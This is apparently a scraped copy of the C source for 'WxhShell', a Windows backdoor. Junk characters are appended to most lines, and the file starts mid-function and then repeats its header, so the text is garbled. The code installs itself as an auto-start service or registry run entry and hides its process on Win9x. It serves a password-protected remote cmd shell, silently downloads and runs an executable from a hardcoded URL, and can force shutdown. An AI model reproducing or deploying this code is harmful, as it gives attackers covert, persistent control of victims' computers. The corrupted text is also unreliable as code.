    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,~@0IKIA Q  
    if(Boot(SHUTDOWN)) lqC a%V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c" mRMDg%  
    else { ]stAC3  
    closesocket(wsh); 2+G_Y>  
    ExitThread(0); _J}vPm  
    } muSQFIvt  
    break; P<iS7Ys+  
    } $~,]F  
  // 获取shell qwka77nNT  
  case 's': { 8'+XR`g:ax  
    CmdShell(wsh); Y4PU~ l  
    closesocket(wsh); 5S:&^ A<  
    ExitThread(0); .MO"8}]8Z  
    break; @Bfwb?&  
  } Q!DQ!;Br6  
  // 退出 m4:b?[  
  case 'x': { F8 4LMk?U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :z=/z!5:j  
    CloseIt(wsh); 4i'2~w{/  
    break; ]1]  
    } /wIev1Z!Y  
  // 离开 )4[{+OJa  
  case 'q': { [MM11K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h~$Q\WCm#  
    closesocket(wsh); @vf{_g<  
    WSACleanup(); NJ-cP m  
    exit(1); uQ9/7"S  
    break; }-{l(8-  
        } JnX@eBNV  
  } U4*5o~!=S  
  } (tGK~!cAv  
cTRQI3Oa>  
  // 提示信息 e=nExY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m{gK<T  
} 8a{FxCBw  
  } i3 k ',8  
k07JMS?  
  return; bA#E8dlC_  
} * wN+Ak q  
UP:+1Sp9  
// shell模块句柄 &libC>a[  
int CmdShell(SOCKET sock) 3"'|Ql.H  
{ WU1 I>i  
STARTUPINFO si; F' ZLN]"{  
ZeroMemory(&si,sizeof(si)); .ao'o,|vE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5v8&C2Jy@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ch ` Omq  
PROCESS_INFORMATION ProcessInfo; ,*.C''  
char cmdline[]="cmd"; -W>zON|l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lkp!S3,  
  return 0; IsO'aFK)ln  
} AX8;x1t^.  
_-g:T&#  
// 自身启动模式 m^_)aS  
int StartFromService(void) 'w.:I TJf  
{ avls[Bq  
typedef struct }vO^%Gd  
{ KM (U-<<R  
  DWORD ExitStatus; {rOz[E9vm  
  DWORD PebBaseAddress; f9u["e  
  DWORD AffinityMask; "z^Ysvw&~  
  DWORD BasePriority; D00rO4~6D%  
  ULONG UniqueProcessId; e*vSGT$KgL  
  ULONG InheritedFromUniqueProcessId; {Z;W|w1t  
}   PROCESS_BASIC_INFORMATION; \`x'r$CV  
+7+ VbsFG  
PROCNTQSIP NtQueryInformationProcess; V]}/e!XK\  
#UU}lG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >'^l>FPc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X%,;IW]a  
URR| Q!D  
  HANDLE             hProcess; BU:s&+LYUv  
  PROCESS_BASIC_INFORMATION pbi; 451C2 %y  
L~ V 63K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DC*|tHl  
  if(NULL == hInst ) return 0; h bj^!0m  
u ` 9Eh;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D4[5}NYU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~C=`yj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8%7H F:  
n<yV]i$  
  if (!NtQueryInformationProcess) return 0; TO[5h Y\  
[ sz#*IJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ltcr]T(Ic  
  if(!hProcess) return 0; w _eu@R:u@  
CNcH)2Mk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /]]\jj#^  
1; L!g*!E  
  CloseHandle(hProcess); V6wYJ$]  
Jb$PlOQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +cy(}Vp  
if(hProcess==NULL) return 0;  wSV[nK  
_* 4 <  
HMODULE hMod; )#3 ,y6  
char procName[255]; TdD-# |5  
unsigned long cbNeeded; !0Xes0gK0  
N!RyncJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Jc9SHCJ  
#_7}O0?c3  
  CloseHandle(hProcess); {yVi/*;f^  
D (qT$#  
if(strstr(procName,"services")) return 1; // 以服务启动 jy@}$g{  
pSq\3Hp]Q  
  return 0; // 注册表启动 `-ENKr]  
} lu-VBVwR  
e%'9oAz  
// 主模块 Bb:jy!jq_  
int StartWxhshell(LPSTR lpCmdLine) *N'B(j/  
{ $BH0W{S  
  SOCKET wsl; >)N,V;j  
BOOL val=TRUE; .M:,pw"S]  
  int port=0; *o"F.H{#N  
  struct sockaddr_in door; +< BAJWU  
m}Tu^dy  
  if(wscfg.ws_autoins) Install(); D>*%zz|  
y''?yr  
port=atoi(lpCmdLine); m U7Ad"  
"c\T  
if(port<=0) port=wscfg.ws_port; HEe0dqG  
NX)7g}S  
  WSADATA data; gWgK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qLYv=h$,  
d2X#_(+d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V=(4 c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  ]g?G 0m  
  door.sin_family = AF_INET; 8n~@Rj5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,5r 2!d  
  door.sin_port = htons(port); D"1ciO8^I]  
]]%C\Ryy}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  5Y9 j/wA  
closesocket(wsl); !2&h=;i~V  
return 1; k7y!! AV  
} s?%1/&.~  
JI\u -+BE  
  if(listen(wsl,2) == INVALID_SOCKET) { vgE5(fJh  
closesocket(wsl); PI0/=kS  
return 1; fvNGGn!  
} 9MM4C  
  Wxhshell(wsl); yMz@-B  
  WSACleanup(); U7x}p^B9\N  
G2L7_?/m  
return 0; a.8nWs^  
i@B5B2  
} a+]=3o  
 ITbl%q  
// 以NT服务方式启动 k, v.U8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p3x(:=   
{ ?6j@EJ<2q  
DWORD   status = 0; $g|g}>Sc  
  DWORD   specificError = 0xfffffff; QT%&vq  
IHagRldG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W=)}=^N0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m5d;lrk@&/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tO~H/0  
  serviceStatus.dwWin32ExitCode     = 0; M6?Qw=  
  serviceStatus.dwServiceSpecificExitCode = 0; @RaMO#  
  serviceStatus.dwCheckPoint       = 0; wp*;F#:G  
  serviceStatus.dwWaitHint       = 0; SZwfYY!ft0  
0W=IuPDU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c yN_Sg  
  if (hServiceStatusHandle==0) return; 5jjJQ'  
CtSAo\F  
status = GetLastError(); V l9\&EL  
  if (status!=NO_ERROR) e[e2X<&0RT  
{ 'm/b+9?.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =ARI*  
    serviceStatus.dwCheckPoint       = 0; qvk?5#B  
    serviceStatus.dwWaitHint       = 0; QT-rb~  
    serviceStatus.dwWin32ExitCode     = status; iSFgFJG^  
    serviceStatus.dwServiceSpecificExitCode = specificError;  ;\iQZ~   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VJ1 `&  
    return; X)uT-Fy  
  } MCYrsgg}  
^Y'>3o21f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  d;CD~s  
  serviceStatus.dwCheckPoint       = 0; Y,&)%Eo<  
  serviceStatus.dwWaitHint       = 0; Pel3e ~?t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !Sw7!h.ut  
} ul% q6=f)  
}Rt<^oya*  
// 处理NT服务事件,比如:启动、停止 ,e,fOL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) LTa9' q0  
{ (cCB3n\20  
switch(fdwControl) j4NS5  
{ MOOL=Um3  
case SERVICE_CONTROL_STOP: iezz[;t  
  serviceStatus.dwWin32ExitCode = 0; 7qh_URt@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8Ipyr%l  
  serviceStatus.dwCheckPoint   = 0; Y8CXin h  
  serviceStatus.dwWaitHint     = 0; 2oq>tnYyV[  
  { {(aJrSE<z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %OzxR9  
  } 8"S0E(,mu  
  return; Wxg|jP$~   
case SERVICE_CONTROL_PAUSE: )I5f`r=Ry  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a{)"KAP  
  break; ]7br*t^zv  
case SERVICE_CONTROL_CONTINUE: #~ >0Dr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?.~@lE  
  break; 3[Z?`X  
case SERVICE_CONTROL_INTERROGATE: fCF93,?$  
  break; b8`O7@ar  
}; %F{@DN`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z~P5SEg  
} 2#py>rF(  
vwT?Bp  
// 标准应用程序主函数 2=U4'C4#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CP={|]>+S  
{ n7Re@'N<  
&Wn!W  
// 获取操作系统版本 4ci @$nL1  
OsIsNt=GetOsVer(); ;,IGO7R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o!j? )0d  
Z?^AX&F  
  // 从命令行安装 b2:CFtH5  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7, O_'T &  
^LnCxA&QH  
  // 下载执行文件  /h   
if(wscfg.ws_downexe) { #%E~I A%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vmk c]DC  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^srx/6X  
} t/y0gr tm6  
wtRAq/  
if(!OsIsNt) { xOEj+%M  
// 如果时win9x,隐藏进程并且设置为注册表启动 tF=96u_X  
HideProc(); -o=qYkyLK  
StartWxhshell(lpCmdLine); 1o.]"~0:  
} 'jfI1 ]q  
else a7M8sZ?"  
  if(StartFromService()) iXXgPapz  
  // 以服务方式启动 JZai{0se  
  StartServiceCtrlDispatcher(DispatchTable); 9v/1>rziE  
else ON !1lS  
  // 普通方式启动 eLl ;M4d  
  StartWxhshell(lpCmdLine); RX#:27:  
8vchLl#  
return 0; (Kx3:gs  
}   5)mn  
"|&SC0*  
h( Iti&  
_%.atW7  
=========================================== glHHr  
HQ4o^WC  
Wny{qj)=  
?HU(0Vgn'  
?n[+0a:8E  
UXe@c@3  
" %/~Sq?f-9@  
&Tl3\T0D  
#include <stdio.h> Xi$uK-AHpj  
#include <string.h>  X&(1DE  
#include <windows.h> d+z8^$z"  
#include <winsock2.h> OCF= )#}qd  
#include <winsvc.h> a^|mF# z  
#include <urlmon.h> 0urQA_JC  
fF<~2MiKw  
#pragma comment (lib, "Ws2_32.lib") 4R}2H>VV%  
#pragma comment (lib, "urlmon.lib") z${DW@o3  
&(irri_  
#define MAX_USER   100 // 最大客户端连接数 J4=~.&6  
#define BUF_SOCK   200 // sock buffer %~G)xK?W*  
#define KEY_BUFF   255 // 输入 buffer Y+lZT4w  
_?mu2!X  
#define REBOOT     0   // 重启 V\4'Hd  
#define SHUTDOWN   1   // 关机 'V } -0  
3-z57f,}6~  
#define DEF_PORT   5000 // 监听端口 o5A@U0c_  
T&cf6soo  
#define REG_LEN     16   // 注册表键长度 1XL^Zhr  
#define SVC_LEN     80   // NT服务名长度 MT}9T  
a$"3T  
// 从dll定义API  w8$8P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qK,rT*5=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Me2%X>;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?>DN7je  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,n^{!^JW  
=5',obYN>c  
// wxhshell配置信息 kp LDK81I  
struct WSCFG { tVFl`Xr   
  int ws_port;         // 监听端口 lfK sqe"  
  char ws_passstr[REG_LEN]; // 口令 3hGYNlQ^  
  int ws_autoins;       // 安装标记, 1=yes 0=no <U$x')W  
  char ws_regname[REG_LEN]; // 注册表键名 <Y9e n!3\  
  char ws_svcname[REG_LEN]; // 服务名 GK~uoz:^O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t#=W'HyW8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |+f@w/+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1F{c5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Qw}uB$S>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :)p\a1I[*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Rcc9Tx(zvQ  
\0). ODA(  
}; fl9`Mgu  
+d>?aqI\A  
// default Wxhshell configuration ^|hlY ]Ev  
struct WSCFG wscfg={DEF_PORT, WB K6Ug  
    "xuhuanlingzhe", BF b<"!Y  
    1, _h6SW2:z!E  
    "Wxhshell", "A6m-xE~  
    "Wxhshell", QVJq%P  
            "WxhShell Service", ,` 6O{Z~  
    "Wrsky Windows CmdShell Service", oIrO%v:'!  
    "Please Input Your Password: ", lK 5@qG#  
  1, Qzt'ZK  
  "http://www.wrsky.com/wxhshell.exe", ~}pc&jz>q  
  "Wxhshell.exe" Y 3h`uLQ  
    }; _(l?gj  
L7;8:^  v  
// 消息定义模块 qILb>#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C3)*Mn3%P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xhK8Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XXPn)kmWR  
char *msg_ws_ext="\n\rExit."; vhIZkz!9  
char *msg_ws_end="\n\rQuit."; ;-#2p^  
char *msg_ws_boot="\n\rReboot..."; G5vp(%j  
char *msg_ws_poff="\n\rShutdown..."; FUzN }"\1  
char *msg_ws_down="\n\rSave to "; JlR$"GU  
~@=(#tO.  
char *msg_ws_err="\n\rErr!"; n+MWny  
char *msg_ws_ok="\n\rOK!"; + fS<YT  
:e /*5ix  
char ExeFile[MAX_PATH]; h! =h0  
int nUser = 0; 4a}[&zm(5  
HANDLE handles[MAX_USER]; hz:h>Hwy  
int OsIsNt; i' V("  
_rM?g1}5j  
SERVICE_STATUS       serviceStatus; M#n lKj<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *,& 2?E8  
J/LsL k  
// 函数声明 R!f<6l8#W  
int Install(void); lg"aB  
int Uninstall(void); t.y-b`v  
int DownloadFile(char *sURL, SOCKET wsh); 5(>SFxz"t  
int Boot(int flag); }D>#AFs6#  
void HideProc(void); ^G|* =~_  
int GetOsVer(void); 5EU~T.4C<  
int Wxhshell(SOCKET wsl); !7Eodq-0  
void TalkWithClient(void *cs); 0FSNIPx  
int CmdShell(SOCKET sock); "i#aII+T  
int StartFromService(void); % IHIXncv[  
int StartWxhshell(LPSTR lpCmdLine); Z<^;Ybw{`Z  
e,N}z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); is }>+&_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Hvb8+"?~  
KpA1Ac)T  
// 数据结构和表定义 ?4A/?Z]ub  
SERVICE_TABLE_ENTRY DispatchTable[] = (\0 <|pW  
{ u 3^pQ6Q  
{wscfg.ws_svcname, NTServiceMain}, b9-IrR4h  
{NULL, NULL} nr2 Q[9~  
}; _Jy7` 4B.  
F~q(@.b  
// 自我安装 1U% /~  
int Install(void) {{jV!8wK  
{  ^M{,{bG  
  char svExeFile[MAX_PATH]; JIhEkY  
  HKEY key; y];-D>jk  
  strcpy(svExeFile,ExeFile); C];P yQS  
wBcoh~ (y  
// 如果是win9x系统,修改注册表设为自启动 q3AqU?f  
if(!OsIsNt) { s1q8r!2\w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +D@5zq:5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \ ?pyax8  
  RegCloseKey(key); tI1OmhNN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LH)XD[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I)tiXcJw  
  RegCloseKey(key); ]?pQu'-(  
  return 0; (`S^6 -^  
    } ia7<AwV  
  } m8ts!6C  
} DmpT<SI+!  
else { H1 I^Vij  
y~fKLIoz"  
// 如果是NT以上系统,安装为系统服务 w9{C"K?u=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fqhL"Ah   
if (schSCManager!=0) P 0e-v0  
{ jMgXIK\  
  SC_HANDLE schService = CreateService GlnO8cAB  
  ( yVII<ImqIH  
  schSCManager, +? h}e  
  wscfg.ws_svcname, ];Z6=9n  
  wscfg.ws_svcdisp, kk %32(By  
  SERVICE_ALL_ACCESS, CJ* D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _Z23lF 9  
  SERVICE_AUTO_START, 8LbwEKl  
  SERVICE_ERROR_NORMAL, )\|+G5#`  
  svExeFile, ]QhTxrF"  
  NULL, W7^[W.  
  NULL, Xx"<^FS[zC  
  NULL, G@.MP| 2  
  NULL, x2rAB5r6  
  NULL < cvh1~>(  
  ); 0V4B Q:v  
  if (schService!=0) n:,mo}?X  
  { e"ehH#i  
  CloseServiceHandle(schService); =5q<_as  
  CloseServiceHandle(schSCManager); d=/0A\O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J0?kEr  
  strcat(svExeFile,wscfg.ws_svcname); |M7cB$y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ovdJ[bO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hbJ>GSoZ,  
  RegCloseKey(key); Y3Fj3NwS  
  return 0; }5-w,m{8/  
    } nN\H'{Wzd  
  } {%f{U"m  
  CloseServiceHandle(schSCManager); X` zWw_i  
} gv''A"  
} unLhI0XW  
/' + >/  
return 1; j{@6y  
} Mf1(4F  
rZ~w_DK*  
// 自我卸载 1z? }'&:  
int Uninstall(void) l4>^79**  
{ {'5"i?>s0>  
  HKEY key; O`B,mgT(  
<h/%jM>9/  
if(!OsIsNt) { {~3QBMx6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nc;O)K!FH  
  RegDeleteValue(key,wscfg.ws_regname); 8R,<S-+v  
  RegCloseKey(key); p49]{2GXb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K:wI'N"N  
  RegDeleteValue(key,wscfg.ws_regname); Jsz!ro  
  RegCloseKey(key); Z!)~?<gcq:  
  return 0; 5~L]zE  
  } =~B"8@B  
} CMXF[X)%  
} AcC &Q:g  
else { aQCu3T  
ieFl4hh[G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o4);5~1l  
if (schSCManager!=0) zx3gz7>k;  
{ ^7-zwl(>?N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CL|/I:%0  
  if (schService!=0) c$O8Rhx  
  { ,o& C"sb  
  if(DeleteService(schService)!=0) { S#7YJ7 K"N  
  CloseServiceHandle(schService); MUO<o  
  CloseServiceHandle(schSCManager); 9a}9cMJ^"  
  return 0; Zt`Tg7m  
  } 4:`D3  
  CloseServiceHandle(schService); D 2X_Yv  
  } xN1P#  
  CloseServiceHandle(schSCManager); O G`8::S  
} ,/42^|=Z6O  
} /Mqhx_)>A  
`(e :H  
return 1; /yOx=V  
} /wV|;D^ )  
3Q=^&o0fl  
// 从指定url下载文件 Gv:~P_vBH[  
int DownloadFile(char *sURL, SOCKET wsh) t|aV:x  
{ Nep4 J;  
  HRESULT hr; &X=7b@r  
char seps[]= "/"; CXa[%{[n  
char *token; eb62(:=N6  
char *file; ?=VvFfv%  
char myURL[MAX_PATH]; (_T{Z>C/J  
char myFILE[MAX_PATH]; 6 ':iW~iI  
WYP;s7_  
strcpy(myURL,sURL); ;<[X\;|'  
  token=strtok(myURL,seps); =]W i aF  
  while(token!=NULL) d*gAL<M7E  
  { i5'&u:  
    file=token; j~CnMKN  
  token=strtok(NULL,seps); (|gQ i{8  
  } )@PnpC%H  
L, JQ\!c  
GetCurrentDirectory(MAX_PATH,myFILE); =!q% 1mP  
strcat(myFILE, "\\"); |>.Q U3  
strcat(myFILE, file); Cp8=8N(Xb  
  send(wsh,myFILE,strlen(myFILE),0); Nwvlv{k'  
send(wsh,"...",3,0); EBj^4=b[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (WM3(US|  
  if(hr==S_OK) aurs~  
return 0; ^L[:DB{Z  
else 1F@k9[d~  
return 1; =BJe)!b  
<W4F`6`x  
} fz&B$1;8  
OQVrg2A%(  
// 系统电源模块 }9~^}99}  
int Boot(int flag) 7=!9kk0  
{ wPA^nZ^}9c  
  HANDLE hToken; __=H"UhWv  
  TOKEN_PRIVILEGES tkp; 79\ wjR!T  
_P>YG<*"kQ  
  if(OsIsNt) { #[93$)Gd!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IGlR,tw_/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k]b*&.EY1  
    tkp.PrivilegeCount = 1; TdtV (  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; swKkY`g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +v Bi7#&  
if(flag==REBOOT) { Y G+|r  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q;M\fBQO}&  
  return 0; ?,} u6tH  
} $3-v W{<  
else { +>$]leqa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q;h.}N8W  
  return 0; }z3j7I  
} e#"h@kZP  
  } +#O+%!  
  else { >Vuvbo   
if(flag==REBOOT) { x#rgFY,TY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'h>uR|  
  return 0; |V9[a a*c  
} d*(aue=  
else { $TQhr#C]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e8m,q~%#/  
  return 0; 1W^hPY  
} !Ok(mgV$/  
} U1RU2M]v  
91-bz^=xO  
return 1; Up9{aX  
} s#2t\}/  
%fS9F^AK  
// win9x进程隐藏模块 7)66e  
void HideProc(void) 0-2|(9 Kc  
{ ,:_c-d#  
h$cm:uks  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R4?>C-;  
  if ( hKernel != NULL ) 7|rH9Bc{U  
  { tne_]+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sZ;|NAx)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D6 B-#u!M  
    FreeLibrary(hKernel); @^{Hq6_`  
  } mx c)Wm<4  
Q7%4`_$!  
return; b 2gng}  
} 6Q.S  
QY\k3hiqn  
// 获取操作系统版本 dcz?5O_{,  
int GetOsVer(void) _|k$[^ln^  
{ ZsmOn#`=^}  
  OSVERSIONINFO winfo; PEMkx"h +  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9 {4yC9Oz>  
  GetVersionEx(&winfo); \kADh?phV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sNf& "C!;  
  return 1; <p@Cx  
  else @d75X YKu  
  return 0; |tXA$}"L8  
} mScv7S~/s  
UaT%tv>}8#  
// 客户端句柄模块 m[DQ;`Y  
int Wxhshell(SOCKET wsl) rhv~H"qzW  
{ tgRj8 @  
  SOCKET wsh; o)`PS w=  
  struct sockaddr_in client; } ueFy<F  
  DWORD myID; c`6c)11K  
%X}ZX|{O  
  while(nUser<MAX_USER) ?h<4trYcv  
{ H]TdW;ZbZ  
  int nSize=sizeof(client); /l$x}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BK$y>= `  
  if(wsh==INVALID_SOCKET) return 1; 'Zx5+rM${}  
V<ESj K8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XLh)$rZ  
if(handles[nUser]==0) b)w cGBS  
  closesocket(wsh); FD=% 4#|  
else c*USA eP  
  nUser++; n<?U6~F&~  
  } qxL\G &~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Qg>NJ\*Q  
rd <m:r  
  return 0; w5FIHYl6B  
} 2TK \pfD  
%? ~'A59  
// 关闭 socket iP:i6U]  
void CloseIt(SOCKET wsh) |vI*S5kn6A  
{ KE?t?p  
closesocket(wsh); ,'L>:pF3  
nUser--; PyeNu3Il4  
ExitThread(0); @"w4R6l+*  
} CH++3i2&  
*TOdIq&z  
// 客户端请求句柄 C@M-_Ud>Q  
void TalkWithClient(void *cs) 8%rD/b6`  
{ ,67Q!/O  
A40DbD\^ad  
  SOCKET wsh=(SOCKET)cs; >e]g T  
  char pwd[SVC_LEN]; o3WOp80hz  
  char cmd[KEY_BUFF]; ChBf:`e  
char chr[1]; ,H7X_KbFD4  
int i,j; oFk2y^>u  
"N4^ ^~s  
  while (nUser < MAX_USER) { ?hoOSur+  
P^Hgm  
if(wscfg.ws_passstr) { +Y;P*U}Qg[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mz+I YP`L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h>Kx  
  //ZeroMemory(pwd,KEY_BUFF); 1" '3/MFQ8  
      i=0; Ple.fKu  
  while(i<SVC_LEN) { kk4 |4  
!$I~3_c  
  // 设置超时 5epI'D  
  fd_set FdRead; kc'$4 J4Tw  
  struct timeval TimeOut; %VHy?!/  
  FD_ZERO(&FdRead); (leX` SN0u  
  FD_SET(wsh,&FdRead); Iix,}kzss  
  TimeOut.tv_sec=8; Bfb~<rs[  
  TimeOut.tv_usec=0; q(sTKT[V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,05PYBc3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *CN *G"  
gC7!cn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `Fqth^RK?p  
  pwd=chr[0]; K)SWM3r  
  if(chr[0]==0xd || chr[0]==0xa) { #*A'<Zm  
  pwd=0; /<[0o]  
  break;  3@Ndn  
  } nnlj#  
  i++; Z[O hZ 9  
    } zCs34=3 D[  
HcRw9,I'  
  // 如果是非法用户,关闭 socket dCx63rF`G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FvT&nb{  
} &1 \/B  
,GOIg|51  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =4TQ*;V:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $v>q'8d  
EKc<|e,F  
while(1) { .jRI $vm  
Y1r$;;sH  
  ZeroMemory(cmd,KEY_BUFF); 1 UQ,V`y  
xU'z>y4V$  
      // 自动支持客户端 telnet标准   XQ1]F{?/H  
  j=0; 18$d-[hX  
  while(j<KEY_BUFF) { H3wJ5-q(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \p^V~fy7rU  
  cmd[j]=chr[0]; IIk_!VzT  
  if(chr[0]==0xa || chr[0]==0xd) { jN6V`Wh_  
  cmd[j]=0; Lf_Y4a#  
  break; u%-]-:c  
  } pl8b&bLzi  
  j++; ~cU1 /CW8  
    } d+n2 c`i  
#p+iwW-  
  // 下载文件 HDm]njF%qQ  
  if(strstr(cmd,"http://")) { 2gWR2 H@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lHiWzt u  
  if(DownloadFile(cmd,wsh)) ~[H8R|j "  
